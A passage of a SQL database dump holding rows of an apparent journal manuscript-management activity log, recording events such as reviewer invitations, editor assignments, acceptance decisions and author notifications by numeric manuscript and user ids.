article',7592,'Publisher',274),(74693,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8064,'Publisher',319),(74726,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8073,'Publisher',48),(74727,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8076,'Publisher',48),(74730,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8019,'Publisher',274),(74731,'0000-00-00 00:00:00','Reviewer has submitted comments',8019,'Reviewer',12022),(74735,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8086,'Author',9258),(74742,'0000-00-00 00:00:00','Manuscript Submitted by Author',8092,'Author',7963),(74797,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7680,'Editor',359),(74798,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7556,'Editor',359),(74799,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7680,'Editor',359),(74800,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7751,'Editor',359),(74801,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8068,'Publisher',85),(74802,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7776,'Editor',359),(74803,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7931,'Editor',359),(74804,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7931,'Editor',359),(74805,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7969,'Editor',359),(74806,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7969,'Editor',359),(74809,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74810,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74811,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74812,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74813,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74815,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74816,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74817,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74818,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74819,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74821,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74822,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74823,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74824,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74825,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8041,'Publisher',984),(74828,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8095,'Author',9267),(74829,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74830,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74831,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74832,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74833,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74834,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74835,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74836,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74837,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74838,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74839,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74840,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74841,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74843,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74844,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74845,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8048,'Editor',194),(74846,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8048,'Editor',194),(74847,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8015,'Editor',194),(74848,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8015,'Editor',194),(74849,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8012,'Editor',194),(74850,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8012,'Editor',194),(74851,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8048,'Publisher',48),(74852,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8015,'Publisher',48),(74853,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8012,'Publisher',48),(74861,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74862,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74863,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74864,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74865,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74866,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74867,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74868,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74869,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74870,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74871,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74876,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8076,'Publisher',48),(74877,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8076,'Publisher',48),(74878,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8073,'Publisher',48),(74879,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8073,'Publisher',48),(74909,'0000-00-00 00:00:00','Publisher : Notified Author',7764,'Publisher',85),(74912,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8092,'Publisher',48),(74913,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8086,'Publisher',48),(74917,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(74918,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(74919,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(74920,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(74921,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(74923,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',8068,'Reviewer',17502),(74937,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74938,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74939,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(74944,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(74945,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(74946,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(74947,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(74948,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(74954,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74955,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74956,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74957,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74958,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74959,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74960,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74961,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74962,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74963,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8068,'Publisher',85),(74967,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8092,'Publisher',48),(74968,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8092,'Publisher',48),(74995,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(75019,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8092,'Publisher',48),(75021,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8086,'Publisher',48),(75022,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8076,'Publisher',48),(75023,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8073,'Publisher',48),(75029,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8102,'Publisher',48),(75043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7969,'Publisher',248),(75044,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7969,'Publisher',248),(75045,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7969,'Publisher',248),(75046,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7969,'Publisher',248),(75047,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7969,'Publisher',248),(75048,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7969,'Publisher',248),(75059,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7969,'Editor',359),(75069,'0000-00-00 00:00:00','Author sent Email',6549,'Author',4286),(75092,'0000-00-00 00:00:00','Reviewer has submitted comments',8041,'Reviewer',10963),(75104,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75105,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75106,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75107,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75110,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75111,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75112,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75113,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75178,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',8068,'Reviewer',5753),(75190,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(75191,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(75192,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(75193,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(75194,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8064,'Publisher',319),(75200,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8064,'Editor',1067),(75201,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7880,'Publisher',988),(75216,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8098,'Publisher',988),(75217,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75218,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75219,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75220,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75221,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75223,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75224,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75226,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75235,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',4779,'Publisher',988),(75317,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8114,'Author',9288),(75340,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8115,'Author',9289),(75344,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8102,'Publisher',48),(75348,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8019,'Editor',1594),(75349,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8019,'Editor',1594),(75350,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7887,'Editor',1594),(75351,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7887,'Editor',1594),(75352,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7883,'Editor',1594),(75353,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7883,'Editor',1594),(75354,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8014,'Editor',1659),(75355,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8014,'Editor',1659),(75356,'0000-00-00 00:00:00','Publisher : Notified Author',8019,'Publisher',274),(75357,'0000-00-00 00:00:00','Publisher : Notified Author',8014,'Publisher',274),(75358,'0000-00-00 00:00:00','Publisher : Notified Author',7887,'Publisher',274),(75359,'0000-00-00 00:00:00','Publisher : Notified Author',7883,'Publisher',274),(75374,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8118,'Publisher',645),(75376,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8064,'Editor',1067),(75378,'0000-00-00 00:00:00','Publisher : Notified Author',8064,'Publisher',319),(75403,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8122,'Author',9296),(75404,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75405,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75406,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75407,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75408,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75409,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75410,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75411,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75412,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75413,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75414,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7680,'Publisher',248),(75420,'0000-00-00 00:00:00','Manuscript Submitted by Author',8123,'Author',9292),(75421,'0000-00-00 00:00:00','Manuscript Submitted by Author',8124,'Author',9292),(75440,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7712,'Publisher',645),(75441,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7712,'Publisher',645),(75442,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7712,'Publisher',645),(75443,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7712,'Publisher',645),(75444,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8115,'Publisher',48),(75457,'0000-00-00 00:00:00','Manuscript has been Revised',8064,'Author',9236),(75479,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8098,'Publisher',988),(75481,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8074,'Publisher',75),(75482,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8043,'Publisher',75),(75483,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8043,'Publisher',75),(75484,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8043,'Publisher',75),(75485,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8043,'Publisher',75),(75486,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8074,'Publisher',75),(75487,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8074,'Publisher',75),(75488,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8074,'Publisher',75),(75489,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8074,'Publisher',75),(75490,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8074,'Publisher',75),(75491,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8074,'Publisher',75),(75492,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6909,'Publisher',75),(75493,'0000-00-00 00:00:00','Publisher : Notified Editor',6825,'Publisher',75),(75494,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6909,'Publisher',75),(75495,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6825,'Editor',160),(75496,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6825,'Publisher',75),(75504,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8118,'',1147),(75530,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7420,'Editor',160),(75532,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8115,'Publisher',48),(75533,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8115,'Publisher',48),(75534,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8102,'Publisher',48),(75535,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8102,'Publisher',48),(75536,'0000-00-00 00:00:00','Publisher : Notified Editor',8064,'Publisher',319),(75537,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8064,'Editor',1067),(75538,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8064,'Publisher',319),(75549,'0000-00-00 00:00:00','Reviewer has submitted comments',7978,'Reviewer',17522),(75554,'0000-00-00 00:00:00','Reviewer has updated comments',8064,'Reviewer',12875),(75555,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8135,'Author',9305),(75577,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8139,'Author',9309),(75604,'0000-00-00 00:00:00','Publisher : Notified Editor',8041,'Publisher',984),(75664,'0000-00-00 00:00:00','Publisher : Notified Author',7559,'Publisher',75),(75665,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8114,'Publisher',673),(75666,'0000-00-00 00:00:00','Publisher : Notified Author',7420,'Publisher',75),(75708,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(75709,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(75710,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(75711,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(75712,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(75713,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(75714,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(75715,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(75716,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(75717,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(75718,'0000-00-00 00:00:00','Reviewer has submitted comments',7635,'Reviewer',13225),(75719,'0000-00-00 00:00:00','Publisher : Notified Editor',7635,'Publisher',75),(75720,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7635,'Editor',161),(75721,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7824,'Editor',161),(75722,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7924,'Editor',161),(75723,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7930,'Editor',161),(75724,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8074,'Editor',161),(75725,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7635,'Publisher',75),(75747,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7992,'Editor',194),(75748,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7992,'Editor',194),(75749,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8115,'Editor',194),(75750,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8115,'Editor',194),(75751,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8115,'Editor',194),(75752,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8115,'Publisher',48),(75755,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8122,'',1045),(75756,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7462,'Editor',222),(75757,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7462,'Publisher',84),(75767,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8118,'Editor',634),(75768,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8118,'Editor',634),(75769,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7712,'Editor',634),(75774,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8145,'Publisher',48),(75775,'0000-00-00 00:00:00','Reviewer has submitted comments',7990,'Reviewer',17499),(75776,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7458,'Publisher',376),(75801,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8146,'Publisher',48),(75804,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7946,'Publisher',48),(75809,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8147,'Author',9315),(75810,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7635,'Publisher',75),(75811,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75812,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75813,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75814,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75815,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75816,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75817,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7978,'Publisher',673),(75818,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8115,'Publisher',48),(75819,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7888,'Publisher',48),(75820,'0000-00-00 00:00:00','Reviewer has submitted comments',7888,'Reviewer',11689),(75821,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7888,'Editor',194),(75822,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7888,'Publisher',48),(75823,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7888,'Publisher',48),(75824,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7888,'Publisher',48),(75826,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8150,'Author',9319),(75828,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8015,'Publisher',48),(75829,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8015,'Editor',194),(75830,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7903,'Editor',194),(75831,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7903,'Editor',194),(75832,'0000-00-00 00:00:00','Reviewer has submitted comments',8015,'Reviewer',11689),(75833,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8015,'Publisher',48),(75834,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8095,'Editor',194),(75835,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8095,'Editor',194),(75836,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8095,'',1045),(75881,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7617,'Publisher',75),(75882,'0000-00-00 00:00:00','Reviewer has submitted comments',7617,'Reviewer',11589),(75883,'0000-00-00 00:00:00','Publisher : Notified Editor',7617,'Publisher',75),(75884,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8043,'Editor',162),(75885,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7617,'Editor',162),(75886,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7617,'Publisher',75),(75887,'0000-00-00 00:00:00','Author sent Email',6549,'Author',4286),(75888,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8139,'Publisher',274),(75900,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8064,'Editor',1067),(75901,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8064,'Publisher',319),(75902,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8064,'Editor',1067),(75904,'0000-00-00 00:00:00','Author sent Email',7824,'Author',9046),(75934,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8146,'Publisher',48),(75935,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8145,'Publisher',48),(75936,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8146,'Publisher',48),(75937,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8146,'Publisher',48),(75938,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8146,'Publisher',48),(75939,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8146,'Publisher',48),(75940,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8145,'Publisher',48),(75941,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8145,'Publisher',48),(75942,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8145,'Publisher',48),(75943,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8145,'Publisher',48),(75944,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75945,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75946,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75947,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75948,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75949,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75950,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75951,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75952,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75953,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75954,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75955,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75956,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75957,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75958,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75969,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8147,'Publisher',75),(75970,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8150,'Publisher',75),(75971,'0000-00-00 00:00:00','Manuscript Submitted by Author',8156,'Author',9326),(75980,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8139,'Editor',1666),(75981,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8158,'Author',9328),(75982,'0000-00-00 00:00:00','Editor has Invited Reviewer',8139,'Editor',1666),(75983,'0000-00-00 00:00:00','Editor has Invited Reviewer',8139,'Editor',1666),(75984,'0000-00-00 00:00:00','Manuscript Submitted by Author',8159,'Author',9202),(75996,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75997,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75998,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(75999,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76000,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76001,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76002,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76003,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76004,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76005,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76006,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76007,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76008,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76009,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76010,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8114,'Publisher',673),(76011,'0000-00-00 00:00:00','Publisher : Notified Author',7764,'Publisher',85),(76012,'0000-00-00 00:00:00','Publisher : Notified Author',6964,'Publisher',85),(76013,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(76021,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7617,'Publisher',75),(76024,'0000-00-00 00:00:00','Reviewer has updated comments',7629,'Reviewer',16785),(76025,'0000-00-00 00:00:00','Reviewer has submitted comments',7897,'Reviewer',16785),(76026,'0000-00-00 